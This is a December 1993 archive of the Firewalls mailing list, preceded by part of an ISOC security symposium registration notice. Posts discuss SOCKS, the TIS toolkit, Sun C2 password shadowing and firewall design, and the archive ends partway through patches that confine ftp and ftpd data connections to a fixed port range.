Neuman, Information Sciences Institute Michael Roe, Cambridge University Robert Rosenthal, U.S. National Institute of Standards and Technology Ravi Sandhu, George Mason University Jeff Schiller, Massachusetts Institute of Technology Peter Yee, U.S. National Aeronautics and Space Administration BEAUTIFUL SAN DIEGO The Symposium venue is the Catamaran Resort Hotel, providing 7 acres of gorgeous surroundings, facing Mission Bay and only 100 yards from beautiful Pacific Ocean beaches. Spouses and family members can catch a convenient Harbor Hopper for a quick trip to Sea World. After the Symposium, plan to spend the weekend visiting La Jolla, the world famous San Diego Zoo or Mexico, only 30 minutes by car or Trolley. A limited number of rooms have been reserved at the Catamaran for the very special rate of $77 single, $87 double. Reservations, on a space available basis, can be made by calling (800) 288-0770 and indicating you are attending the ISOC Symposium. Reservations must be made before Jan. 1, 1994 to ensure this rate. CLIMATE February weather in San Diego is normally very pleasant. Early morning temperatures average 51 degrees while afternoon temperatures average 67 degrees. Generally, a light jacket or sweater is adequate during February; although, occasionally it rains. TRANSPORTATION San Diego International Airport is 10 miles (15 minutes) from the Catamaran Hotel. Supershuttle operates a continuous service between the airport and the hotel: fare is $6.00. When you arrive at the airport, use the free Supershuttle phone. Taxi fare between the airport and the hotel is $20. The Catamaran charges $6 per day for parking. REGISTRATION FEES Postmarked Subsequent by Jan. 1 registration $305 $350 No refunds after Jan. 20. REGISTRATION INCLUDES - Attendance - Symposium Proceedings - Reception - Banquet - Luncheons - Coffee Breaks On-site registration is available Wednesday evening at the reception, and Thursday morning at the Symposium. For more information on registration and local arrangements contact Dan Nessett at (510) 422-4033 or nessett@llnl.gov. SYMPOSIUM REGISTRATION FORM Name ________________________________________________ Affiliation__________________________________________ Name on Badge _______________________________________ Vegetarian Meals?____________________________________ Mailing Address _____________________________________ _____________________________________________________ _____________________________________________________ (Area Code)Phone # ___________________________________ Email Address _______________________________________ Make check (credit cards not accepted) payable to SNDSS94. (Registration is not effective until payment is received). Mail to: ISOC Symposium, C/O Belinda Gish, L-68, Lawrence Livermore National Laboratory, Livermore, CA. 94550. From Firewalls-Owner@GreatCircle.COM Tue Dec 21 16:08:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22890; Tue, 21 Dec 93 16:08:40 GMT Received: from spock.retix.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22883; Tue, 21 Dec 93 08:08:31 PST Received: from macaw.retix.com (macaw.retix.com [163.182.7.22]) by spock.retix.com (8.6.4/8.6.4) with SMTP id IAA26542 for ; Tue, 21 Dec 1993 08:09:04 -0800 Received: by macaw.retix.com (5.0/SMI-SVR4) id AA05618; Tue, 21 Dec 93 08:07:37 PST Date: Tue, 21 Dec 93 08:07:37 PST From: alexb@macaw.retix.com (Alexander Berg) Message-Id: <9312211607.AA05618@macaw.retix.com> To: Firewalls@GreatCircle.COM In-Reply-To: <9312210900.AA21495@mycroft.GreatCircle.COM> (Firewalls-Digest-Owner@GreatCircle.COM) Subject: Please unsubscribe me .... Content-Length: 544 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk from this mailing list. Thank you. Regards, Alex. ----------------------------------------------------------------------- Alexander Berg E-mail: alex-berg@retix.com Retix Phone: (310) 828-3400 x448 2401 Colorado Ave. Fax: (310) 828-2255 Santa Monica, CA 90404 ================== Oliver's Law of Location: No matter where you go, there you are. ----------------------------------------------------------------------- From Firewalls-Owner@GreatCircle.COM Wed Dec 22 03:21:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26275; Wed, 22 Dec 93 10:21:48 GMT Received: from bdypwt.knmi.nl by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26268; Wed, 22 Dec 93 02:21:33 PST Received: by bdypwt.knmi.nl (5.65/Ultrix4.2-C) id AA06985; Wed, 22 Dec 1993 10:22:03 GMT From: royle@knmi.nl (Keenan Royle) Message-Id: <9312221022.AA06985@bdypwt.knmi.nl> Subject: Socks with Lynx To: Firewalls@greatcircle.com Date: Wed, 22 Dec 1993 10:22:01 +0000 (WET) Cc: comp.infosystems.www@cs.indiana.edu In-Reply-To: <9312170900.AA00953@mycroft.GreatCircle.COM> from "Firewalls-Digest-Owner@GreatCircle.COM" at Dec 17, 93 01:00:10 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 549 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've been using Mosaic with Socks for quite some time and it is great with a firewall, but not all of our users have an X display. Has someone tried Socks-ifying Lynx, yet? Judging from a quick look at the code it looks like most (or all) of the networking code is in the WWW libraries. If it really is *all* of the networking code in the WWW libraries then Socks-ifying Lynx could lead to the Socks-ification of many WWW browsers. So has anyone done this yet? Worth doing? Prettige Kerstdagen & Gelukkig Nieuw Jaar, Keenan Royle royle@knmi.nl From Firewalls-Owner@GreatCircle.COM Wed Dec 22 20:59:45 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27767; Wed, 22 Dec 93 20:59:45 GMT Received: from cpmx.saic.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27756; Wed, 22 Dec 93 12:59:37 PST Message-Id: <9312222059.AA27756@mycroft.GreatCircle.COM> Received: from cpqm.SAIC.COM by cpmx.saic.com id SMTP-0012d18b556004338; Wed, 22 Dec 93 13:00:06 -0800 Date: 22 Dec 1993 12:54:14 -0800 From: "CPSMTP01 Admin" Subject: Socks with Lynx To: Firewalls@GreatCircle.COM Cc: "comp.infosystems.www@cs.indiana" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Socks with Lynx I've been using Mosaic with Socks for quite some time and it is great with a firewall, but not all of our users have an X display. Has someone tried Socks-ifying Lynx, yet? Judging from a quick look at the code it looks like most (or all) of the networking code is in the WWW libraries. If it really is *all* of the networking code in the WWW libraries then Socks-ifying Lynx could lead to the Socks-ification of many WWW browsers. So has anyone done this yet? Worth doing? Prettige Kerstdagen & Gelukkig Nieuw Jaar, Keenan Royle royle@knmi.nl ------------------ RFC822 Header Follows ------------------ Received: by cpqm.saic.com with SMTP;22 Dec 1993 09:34:54 -0800 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA05021; Wed, 22 Dec 93 12:28:48 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26275; Wed, 22 Dec 93 10:21:48 GMT Received: from bdypwt.knmi.nl by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26268; Wed, 22 Dec 93 02:21:33 PST Received: by bdypwt.knmi.nl (5.65/Ultrix4.2-C) id AA06985; Wed, 22 Dec 1993 10:22:03 GMT From: royle@knmi.nl (Keenan Royle) Message-Id: <9312221022.AA06985@bdypwt.knmi.nl> Subject: Socks with Lynx To: Firewalls@GreatCircle.COM Date: Wed, 22 Dec 1993 10:22:01 +0000 (WET) Cc: comp.infosystems.www@cs.indiana.edu In-Reply-To: <9312170900.AA00953@mycroft.GreatCircle.COM> from "Firewalls-Digest-Owner@GreatCircle.COM" at Dec 17, 93 01:00:10 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 549 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk From Firewalls-Owner@GreatCircle.COM Wed Dec 22 21:15:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27881; Wed, 22 Dec 93 21:15:07 GMT Received: from cpmx.saic.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27872; Wed, 22 Dec 93 13:14:57 PST Message-Id: <9312222114.AA27872@mycroft.GreatCircle.COM> Received: from cpqm.SAIC.COM by cpmx.saic.com id SMTP-0012d18b585004340; Wed, 22 Dec 93 13:00:54 -0800 Date: 22 Dec 1993 12:55:26 -0800 From: "CPSMTP01 Admin" Subject: Socks with Lynx To: Firewalls@GreatCircle.COM Cc: "comp.infosystems.www@cs.indiana" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Socks with Lynx I've been using Mosaic with Socks for quite some time and it is great with a firewall, but not all of our users have an X display. Has someone tried Socks-ifying Lynx, yet? Judging from a quick look at the code it looks like most (or all) of the networking code is in the WWW libraries. If it really is *all* of the networking code in the WWW libraries then Socks-ifying Lynx could lead to the Socks-ification of many WWW browsers. So has anyone done this yet? Worth doing? Prettige Kerstdagen & Gelukkig Nieuw Jaar, Keenan Royle royle@knmi.nl ------------------ RFC822 Header Follows ------------------ Received: by cpqm.saic.com with SMTP;22 Dec 1993 09:29:44 -0800 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA04461; Wed, 22 Dec 93 12:27:56 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26275; Wed, 22 Dec 93 10:21:48 GMT Received: from bdypwt.knmi.nl by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26268; Wed, 22 Dec 93 02:21:33 PST Received: by bdypwt.knmi.nl (5.65/Ultrix4.2-C) id AA06985; Wed, 22 Dec 1993 10:22:03 GMT From: royle@knmi.nl (Keenan Royle) Message-Id: <9312221022.AA06985@bdypwt.knmi.nl> Subject: Socks with Lynx To: Firewalls@GreatCircle.COM Date: Wed, 22 Dec 1993 10:22:01 +0000 (WET) Cc: comp.infosystems.www@cs.indiana.edu In-Reply-To: <9312170900.AA00953@mycroft.GreatCircle.COM> from "Firewalls-Digest-Owner@GreatCircle.COM" at Dec 17, 93 01:00:10 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 549 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk From Firewalls-Owner@GreatCircle.COM Wed Dec 22 21:38:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27977; Wed, 22 Dec 93 21:38:48 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27970; Wed, 22 Dec 93 13:38:39 PST Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA01010(telemann.inoc.dl.nec.com); Wed, 22 Dec 93 15:39:44 CST Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA14668(texas.syl.dl.nec.com); Wed, 22 Dec 93 15:39:43 CST Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA14617(florida.syl.dl.nec.com); Wed, 22 Dec 93 15:39:41 CST Date: Wed, 22 Dec 93 15:39:41 CST From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9312222139.AA14617@florida.syl.dl.nec.com> To: Firewalls@GreatCircle.COM, royle@knmi.nl Subject: Re: Socks with Lynx Cc: comp.infosystems.www@cs.indiana.edu, ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Has someone tried Socks-ifying Lynx, yet? > >Judging from a quick look at the code it looks >like most (or all) of the networking code is in the WWW libraries. >If it really is *all* of the networking code in the WWW libraries >then Socks-ifying Lynx could lead to the Socks-ification of many >WWW browsers. I have not looked into the code, but I don't imagine the situation is greatly different from that of Mosaic. SOCKSificstion of Mosaic takes about 10 lines of actual code changes. Included in SOCKS.CSTC 4.1 is the file How_to_SOCKSify which descirbes the six easy steps that can be used to covert many TCP applications into SOCKS clients. >Worth doing? I think so. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com P.S. It just occurred to me that the libwww code in xmosaic 1.2 is probably closer to most WWW libraries. The SOCKSified xmosaic 1.2 is included in SOCKS.CSTC 4.0. Perhaps that could be of help to anyone who wants to do the work. From Firewalls-Owner@GreatCircle.COM Thu Dec 23 01:41:31 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28862; Thu, 23 Dec 93 01:41:31 GMT Received: from nova.unix.portal.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28855; Wed, 22 Dec 93 17:41:24 PST Received: by nova.unix.portal.com (5.65b/4.1 1.592) id AA14883; Wed, 22 Dec 93 17:43:02 -0800 Received: from localhost (jel@localhost) by demon.corp.portal.com (8.6.4/8.6.4) id RAA20234 for firewalls@greatcircle.com; Wed, 22 Dec 1993 17:42:37 -0800 Date: Wed, 22 Dec 1993 17:42:37 -0800 From: John Little Message-Id: <199312230142.RAA20234@demon.corp.portal.com> To: firewalls@greatcircle.com Subject: screend on SunOS 4.1.3 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has anyone ported screend to SunOS 4.1.3? I'd like to run this on a multiple ethernet SS1 or 2. Thanks. John From Firewalls-Owner@GreatCircle.COM Thu Dec 23 16:03:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01718; Thu, 23 Dec 93 16:03:37 GMT Received: from MVSA.ADMIN.UCALGARY.CA (uncajes2.admin.ucalgary.ca) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01711; Thu, 23 Dec 93 08:03:25 PST Message-Id: <9312231603.AA01711@mycroft.GreatCircle.COM> Received: from UCDASVM1.ADMIN.UCALGARY.CA by MVSA.ADMIN.UCALGARY.CA (IBM MVS SMTP V2R2.1) with BSMTP id 0400; Thu, 23 Dec 93 08:40:45 MST X-Delivery-Notice: SMTP MAIL FROM does not correspond to sender. Received: from UCDASVM1 (62623) by UCDASVM1.ADMIN.UCALGARY.CA (Mailer R2.07) with BSMTP id 3841; Thu, 23 Dec 93 08:40:57 GMT Date: Thu, 23 Dec 93 08:40:50 MDT From: Don Barker <62623@UCDASVM1.ADMIN.UCALGARY.CA> Subject: Various Firewalls and TCP/IP To: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk FROM: Don Barker Department of Administrative Systems, University of Calgary phone (403) 220-5441 fax (403) 282-9361 I am currently looking at various options to Firewall off our soon to be open Administrative Network from unauthorized users. I have recommended various products and network strategies to do this. 1. Collapse our fibre optic backbone and secure the various routers. 2. Use SecurID cards to authenticate the user. 3. Set up a firewall on the Netbuilder II router filtering IP traffic. 4. Use secure concentrators such as HP Ethertwist Plus/24S or 3 COMM ECS hubs. 5. Look at a real Firewall machine which users will have to log into. Our projected network will look somewhat like this. user --->secure concentrator----fibre----Netbuilder II--FIREWALL--the world. My questions are: 1. What sort of Firewall machines are there? I am aware of DEC and SEAL. Are there other freeware options? If not what are the prices of the other options? 2. Is a Firewall gateway required, or is filtering IP traffic on the Netbuilder adequate? If not why? 3. There appears to be several problems with TCP/IP. It appears that people, who are authorized to 'the network', can bypass the authentication devices and connect directly to the socket which is providing the application. In this case Oracle. I understand that $SQLNET$ will require the users to use a password yet I wish to have everything go through our authentication software. Is there a way to force a connection to any TCP/IP socket that we choose, to go through our authentication device? Should I get the vendor to assist or request something from the TCP/IP? Which TCP/IP? 4. In a client server implementation I do not know if it is possible as the user can run their own TCP/IP and bypass the security. Is this true. 5. How do you learn about the above security exposures besides baptism by fire? Any help would be appreciated. (p.s. Merry Christmas to all) Regards Don. From Firewalls-Owner@GreatCircle.COM Thu Dec 23 16:08:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01771; Thu, 23 Dec 93 16:08:10 GMT Received: from gw1.octel.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01764; Thu, 23 Dec 93 08:08:01 PST Received: from octela.octel.com ([148.147.200.7]) by gw1.octel.com (8.6.4/8.6.4) with SMTP id IAA01879 for ; Thu, 23 Dec 1993 08:07:49 -0800 Received: from sherman.eng.octel.com by octela.octel.com (4.0/SMI-4.0) id AA11043; Thu, 23 Dec 93 08:06:26 PST Received: by sherman.eng.octel.com (4.1/SMI-4.1.1) id AA10009; Thu, 23 Dec 93 08:06:24 PST From: john.detke@octel.com (John F. Detke) Message-Id: <9312231606.AA10009@sherman.eng.octel.com> Subject: How good is Sun's C2? To: firewalls@GreatCircle.COM (fire walls) Date: Thu, 23 Dec 1993 08:06:23 -0800 (PST) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 824 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hey gang, I'm looking for opinions on the robustness of Sun's C2 package, esp. with regard to the various passwd replacements on the net. Basically we are looking for something to enforce "good" passwords and do shadowing. C2 seems to add a decent audit trail as well. I haven't heard much about this, and really don't care wether it is "really" C2 as defined in the Orange book, but that it provides what we need on the host. This will be our bastion host, for providing incoming telnet access until we get S/Key or secure card up and running. Thoughts? Am I better off with passwd+ or npasswd or ??? Thanks, and happy holidays, -- John F. Detke, jfd@octel.com | Octel Communications Corp | Ban censorship! 890 Tasman Dr. M/S 5-4 | -- anon Milpitas CA 95035 | From Firewalls-Owner@GreatCircle.COM Thu Dec 23 20:17:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00517; Thu, 23 Dec 93 20:17:12 GMT Received: from mail.uunet.ca (uunet.ca) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00510; Thu, 23 Dec 93 12:17:05 PST Received: from cchtor.cch.com ([192.139.241.2]) by mail.uunet.ca with SMTP id <58226(1)>; Thu, 23 Dec 1993 15:16:40 -0500 Received: from localhost (larry@localhost) by cchtor.cch.com (8.6.4/8.6.4) id PAA23095 for Firewalls@GreatCircle.COM; Thu, 23 Dec 1993 15:01:58 -0500 Date: Thu, 23 Dec 1993 15:01:58 -0500 From: Larry Chin Message-Id: <199312232001.PAA23095@cchtor.cch.com> To: Firewalls@GreatCircle.COM Subject: TIS firewall package. Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, Can someone tell me if the TIS firewall package has been ported to Solaris ? If it has not will it be and if so when ? Thanks in advance. Thu Dec 23 14:13:36 EST 1993 =========================================================================== Larry Chin {larry@cchtor.cch.com} CCH Canadian Ltd. System Administrator 6 Garamond Court Research and Development North York, Ontario. (416) 441-4001 ext. 349 M3C 1Z5 =========================================================================== Human cardiac catheterization was introduced by Werner Forssman in 1929. Ignoring his department chief, and tying his assistant to an operating table to prevent his interference, he placed a uretheral catheter into a vein in his arm, advanced it to the right atrium [of his heart], and walked upstairs to the x-ray department where he took the confirmatory x-ray film. In 1956, Dr. Forssman was awarded the Nobel Prize. From Firewalls-Owner@GreatCircle.COM Thu Dec 23 22:52:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00917; Thu, 23 Dec 93 22:52:30 GMT Received: from brain.vifp.monash.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00910; Thu, 23 Dec 93 14:52:21 PST Received: from localhost (rik@localhost) by brain.vifp.monash.edu.au (8.6.3/8.6.3) id JAA01476; Fri, 24 Dec 1993 09:53:26 +1100 Message-Id: <199312232253.JAA01476@brain.vifp.monash.edu.au> To: firewalls@GreatCircle.COM (fire walls) Subject: Re: How good is Sun's C2? In-Reply-To: Your message of "Thu, 23 Dec 1993 08:06:23 -0800." <9312231606.AA10009@sherman.eng.octel.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 24 Dec 1993 09:53:26 +1100 From: Rik Harris Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk John F. Detke wrote: > I'm looking for opinions on the robustness of Sun's C2 package, esp. with > regard to the various passwd replacements on the net. Basically we are looking > for something to enforce "good" passwords and do shadowing. C2 seems to add > a decent audit trail as well. I haven't heard much about this, and really > don't care wether it is "really" C2 as defined in the Orange book, but that > it provides what we need on the host. This will be our bastion host, for > providing incoming telnet access until we get S/Key or secure card up and > running. > > Thoughts? Am I better off with passwd+ or npasswd or ??? Sun's "C2" provides password shadowing, and auditing of potentially security-related events. You can run with just shadowing, as long as you make sure to disable the auditd in /etc/rc.local. As far as I can tell it does these jobs quite well. The "C2" package does not add and password vetting, though, so you should probably use both "C2" and npasswd. rik. -- Rik Harris - rik.harris@vifp.monash.edu.au || Systems Programmer +61 3 560-3265 (AH) +61 3 565-3227 (BH) || and Administrator Fac. of Computing & Info.Tech., Monash Uni, Australia || Vic. Institute of http://www.vifp.monash.edu.au/people/rik.html || Forensic Pathology From Firewalls-Owner@GreatCircle.COM Thu Dec 23 23:11:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00961; Thu, 23 Dec 93 23:11:47 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00954; Thu, 23 Dec 93 15:11:39 PST Received: by relay.tis.com; id AA02573; Thu, 23 Dec 93 18:12:41 EST Received: from sol.tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma002568; Thu Dec 23 18:12:35 1993 Received: from otter.tis.com by tis.com (4.1/SUN-5.64) id AA17083; Thu, 23 Dec 93 18:12:20 EST Received: by otter.tis.com (4.1/SMI-4.1) id AA01394; Thu, 23 Dec 93 18:12:19 EST Date: Thu, 23 Dec 93 18:12:19 EST From: mjr@tis.com Message-Id: <9312232312.AA01394@otter.tis.com> To: Firewalls@GreatCircle.COM, Larry_Chin@cchtor.cch.com Subject: Re: TIS firewall package. Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Can someone tell me if the TIS firewall package has been ported to Solaris ? > >If it has not will it be and if so when ? We haven't tested it on Solaris, but it's likely that it'll work OK without changes (other than no doubt some fiddling with Makefiles) It seems to work fine on SysV machines with reasonable socket implementations/emulations -- there's really very little code in the toolkit that is tricky or system specific. mjr. From Firewalls-Owner@GreatCircle.COM Thu Dec 23 23:47:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01045; Thu, 23 Dec 93 23:47:28 GMT Received: from par18.aph.gov.au ([164.75.100.200]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01038; Thu, 23 Dec 93 15:47:20 PST Received: by par18.aph.gov.au (5.65/DEC-Ultrix/4.3) id AA00330; Fri, 24 Dec 1993 10:36:40 +1100 Date: Fri, 24 Dec 1993 10:35:47 +1100 (EST) From: Paul Mcconnell Subject: Re: Firewalls Digest V2 #277 To: Firewalls@greatcircle.com In-Reply-To: <9312230900.AA00244@mycroft.GreatCircle.COM> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Please unscribe me from this group. Thankyou for all the news to date. From Firewalls-Owner@GreatCircle.COM Fri Dec 24 11:37:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03025; Fri, 24 Dec 93 11:37:08 GMT Received: from mail.Germany.EU.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA03014; Fri, 24 Dec 93 03:36:55 PST Received: by mail.Germany.EU.net(EUnetD-2.3.1.a) via EUnet id dA03541; Fri, 24 Dec 1993 12:38:02 +0100 Message-Id: <199312241138.dA03235@halo.Germany.EU.net> Received: from localhost by halo.Germany.EU.net with SMTP (5.65c/EUnetDlan-1.0.17) via EUnet for mail.germany.eu.net id dA03235; Fri, 24 Dec 1993 12:38:01 +0100 To: firewalls@greatcircle.com (fire walls) From: John Murray Subject: Re: How good is Sun's C2? In-Reply-To: Message of Fri, 24 Dec 1993 09:53:26 +1100. <199312232253.JAA01476@brain.vifp.monash.edu.au> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Date: Fri, 24 Dec 1993 12:38:00 +0100 Sender: John.Murray@Germany.EU.net Hi, > Sun's "C2" provides password shadowing, and auditing of potentially > security-related events. You can run with just shadowing, as long as > you make sure to disable the auditd in /etc/rc.local. As far as I can > tell it does these jobs quite well. I'd like to second that, but _INSTALL_ the patches. > The "C2" package does not add and password vetting, though, so you > should probably use both "C2" and npasswd. > -- > Rik Harris - rik.harris@vifp.monash.edu.au || Systems Programmer + a good amount of sysloging and swatch to keep you informed. By the way does anyone know of niffty scanner for C2 audit output similar to swatch? Cheers ! John Murray === ____ === John Murray, System Management === / / / ___ ___ _/_ === John.Murray@Germany.EU.net === /---- / / / / /___/ / === EUnet Deutschland GmbH === /____ /___/ / / /___ / === Emil-Figge-Str. 80 ===== ===== 44227 Dortmund Germany ===== Connecting Europe since 1982 ===== Tel.(Fax) +49 231 972 2222 (1111) From Firewalls-Owner@GreatCircle.COM Sun Dec 26 16:43:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA10087; Sun, 26 Dec 93 16:43:24 GMT Received: from quack.kfu.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA10080; Sun, 26 Dec 93 08:43:13 PST Received: by quack.kfu.com id AA12541 (5.65c8/IDA-1.4.4 for firewalls@greatcircle.com); Sun, 26 Dec 1993 08:44:22 -0800 Date: Sun, 26 Dec 1993 08:44:22 -0800 From: Nick Sayer Message-Id: <199312261644.AA12541@quack.kfu.com> To: firewalls@greatcircle.com Subject: More ftp patchery: ftp PORT command quarantine patch Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk As a half-way-point between insecurity and the passive-mode ftp patch, this patch will change ftp so that when it uses PORT commands, it will choose port numbers within a strictly defined range. If this range is chosen to exclude any sensitive ports, then the range of ports can be opened to incoming connections with no loss of security (at least none that I can think of). This patch is based on the ftp sources found on uunet under systems/unix/bsd-sources. It is ineffective when port commands are disabled (obviously). If there is demand, I can generate a patch with both this and the passive mode patch applied. *** old/ftp.c Sun Oct 10 09:17:29 1993 --- ftp.c Sun Dec 26 08:35:40 1993 *************** *** 55,60 **** --- 55,61 ---- #include #include #include + #include #include "ftp_var.h" *************** *** 1004,1009 **** --- 1005,1011 ---- int on = 1; noport: + #ifdef NO_PORT_QUARANTINE data_addr = myctladdr; if (sendport) data_addr.sin_port = 0; /* let system pick one */ *************** *** 1025,1030 **** --- 1027,1076 ---- perror("ftp: bind"); goto bad; } + #else + #define PORT_START 40000 + #define PORT_END 44999 + data = socket(AF_INET, SOCK_STREAM, 0); + if (data < 0) { + perror("ftp: socket"); + if (tmpno) + sendport = 1; + return (1); + } + if (!sendport) + { + data_addr = myctladdr; + if (data != -1) + (void) close(data); + if (setsockopt(data, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof (on)) < 0) { + perror("ftp: setsockopt (reuse address)"); + goto bad; + } + if (bind(data, (struct sockaddr *)&data_addr, sizeof (data_addr)) < 0) { + perror("ftp: bind"); + goto bad; + } + } + else + { + int count; + for (count=PORT_START ; count < PORT_END ; count++) + { + data_addr = myctladdr; + data_addr.sin_port = count; + if (bind(data, (struct sockaddr *)&data_addr, sizeof (data_addr)) < 0) + if (errno == EADDRINUSE) + continue; + else + { + perror("ftp: bind"); + goto bad; + } + break; + } + assert(count != PORT_END); /* The for loop should never complete */ + } + #endif if (options & SO_DEBUG && setsockopt(data, SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof (on)) < 0) perror("ftp: setsockopt (ignored)"); From Firewalls-Owner@GreatCircle.COM Sun Dec 26 16:46:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA10107; Sun, 26 Dec 93 16:46:42 GMT Received: from quack.kfu.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA10100; Sun, 26 Dec 93 08:46:32 PST Received: by quack.kfu.com id AA12599 (5.65c8/IDA-1.4.4 for firewalls@greatcircle.com); Sun, 26 Dec 1993 08:47:41 -0800 Date: Sun, 26 Dec 1993 08:47:41 -0800 From: Nick Sayer Message-Id: <199312261647.AA12599@quack.kfu.com> To: firewalls@greatcircle.com Subject: Yet more ftp hackery: ftpd passive port quarantine patch Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Since I last wrote with the passive-mode ftp client patch, it has occurred to me that a server allowing passive mode FTPs is in the same boat as a PORT-command-based client. That is, when the passive mode is used, an incoming connection randomly bound is to be expected. Well, that's even worse than the situation with PORT commands, since nothing can be said even about the binding at the other end (ftpd usually binds the local end of a PORT command based connection to ftp-data. But if a firewall passes any connection FROM ftp-data, there's nothing to prevent anyone from binding their end to ftp-data and your end to something more dangerous). The solution is to modify ftpd so that it will always bind the passive connection within a specific range of ports. Preferably a range that won't have any other use. This patch is to version 2.0WU(19) of the WU ftpd package. Just apply, compile, and instruct your firewall to allow connections to your anonymous ftp machine from ports 40000-44999. *** ftpd.c.orig Thu Apr 8 11:26:15 1993 --- ftpd.c Sun Dec 26 00:15:24 1993 *************** *** 2036,2042 **** * Jan 89. */ passive(void) { ! int len; register char *p, *a; --- 2036,2042 ---- * Jan 89. */ passive(void) { ! int len,counter; register char *p, *a; *************** *** 2045,2050 **** --- 2045,2051 ---- perror_reply(425, "Can't open passive connection"); return; } + #ifdef NO_PASV_QUARANTINE pasv_addr = ctrl_addr; pasv_addr.sin_port = 0; (void) seteuid((uid_t) 0); *************** *** 2053,2058 **** --- 2054,2076 ---- goto pasv_error; } (void) seteuid((uid_t) pw->pw_uid); + #else + #define PASV_FIRST 40000 + #define PASV_LAST 44999 + for( counter = PASV_FIRST ; counter < PASV_LAST ; counter++ 